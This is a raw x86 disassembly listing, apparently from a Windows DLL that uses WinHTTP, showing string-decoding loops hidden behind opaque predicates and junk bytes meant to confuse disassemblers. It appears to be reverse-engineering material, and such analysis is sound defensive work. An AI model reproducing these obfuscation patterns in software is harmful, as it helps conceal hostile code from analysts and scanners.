movsd xmm0, qword [0x101448c8]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
movsd qword [ebp - 0xdc], xmm0
movsd xmm0, qword [0x101448c0]
mov dword [ebp - 0x64], eax
movsd qword [ebp - 0xe4], xmm0
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f9d5a
xor eax, eax
je 0x100f9b19
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9bad
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f9bad
mov dword [ebp - 0x94], 3
lea eax, [edi + esi]
jmp 0x100f9c26
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9c29
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f9c2e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9cb6
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f9cb6
mov dword [ebp - 0xc4], 3
jmp 0x100f9d2c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9d2c
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xc4]
add dl, dl
mov cl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x94]
mov byte [ebp + eax - 0x163], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa4f0
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f9fed
xor eax, eax
je 0x100f9da4
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9e3a
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f9e3a
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x8c], 3
add eax, edi
jmp 0x100f9eb6
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9eb9
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f9ebe
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9f49
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f9f49
mov dword [ebp - 0x90], 3
jmp 0x100f9fbf
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9fbf
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x90]
add dl, dl
mov cl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x8c]
mov byte [ebp + eax - 0x163], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100fa25a
xor eax, eax
je 0x100fa012
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa0a5
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa0a5
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x84], 3
add eax, edi
jmp 0x100fa121
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa124
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100fa129
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa1e2
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa1e2
mov dword [ebp - 0x88], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x88]
add dl, dl
mov cl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x84]
mov byte [ebp + eax - 0x163], cl
jmp 0x100fa265
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa1ac
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
jmp 0x100fa1af
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa4ea
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100fa2a7
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa336
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa336
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x7c], 3
jmp 0x100fa3b2
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa3b5
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100fa3c6
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa44f
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa44f
mov dword [ebp - 0x80], 3
jmp 0x100fa4c2
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa4c2
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x80]
add dl, dl
mov cl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x7c]
mov byte [ebp + eax - 0x163], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100fa75b
xor eax, eax
je 0x100fa518
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa5ae
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa5ae
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xa0], 3
add eax, edi
jmp 0x100fa62a
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa62d
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100fa632
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa6ba
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100fa6ba
mov dword [ebp - 0x78], 3
jmp 0x100fa72d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa72d
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x78]
add dl, dl
mov cl, byte [ebp + eax - 0x163]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xa0]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x163], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1a
jb 0x100f9af2
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea eax, [ebp - 0x163]
mov byte [ebp - 0x164], 1
push eax
push dword [ebp - 0xbc]
call fcn.100ecc10
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x100ed2d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0xd0]
call edi
jmp 0x100fb545
movups xmm0, xmmword [0x10144854]
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov dword [ebp - 0xbc], eax
movups xmmword [ebp - 0x148], xmm0
movq xmm0, qword [0x10144864]
movq qword [ebp - 0x138], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x17
jae 0x100fb510
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsd xmm0, qword [0x101448d0]
movsx eax, al
movsd qword [ebp - 0x74], xmm0
movsd xmm0, qword [0x101448c8]
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
movsd qword [ebp - 0x9c], xmm0
movsd xmm0, qword [0x101448c0]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
movsd qword [ebp - 0xdc], xmm0
movsd xmm0, qword [0x101448b8]
mov dword [ebp - 0x64], eax
movsd qword [ebp - 0xe4], xmm0
nop dword [eax]
nop dword [eax + eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100faaf8
xor eax, eax
je 0x100fa8b7
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa94b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fa94b
mov dword [ebp - 0xc4], 3
lea eax, [edi + esi]
jmp 0x100fa9c4
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fa9c7
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100fa9cc
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100faa54
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100faa54
mov dword [ebp - 0xd0], 3
jmp 0x100faaca
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100faaca
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xd0]
add dl, dl
mov cl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xc4]
mov byte [ebp + eax - 0x147], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb297
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100fad8b
xor eax, eax
je 0x100fab42
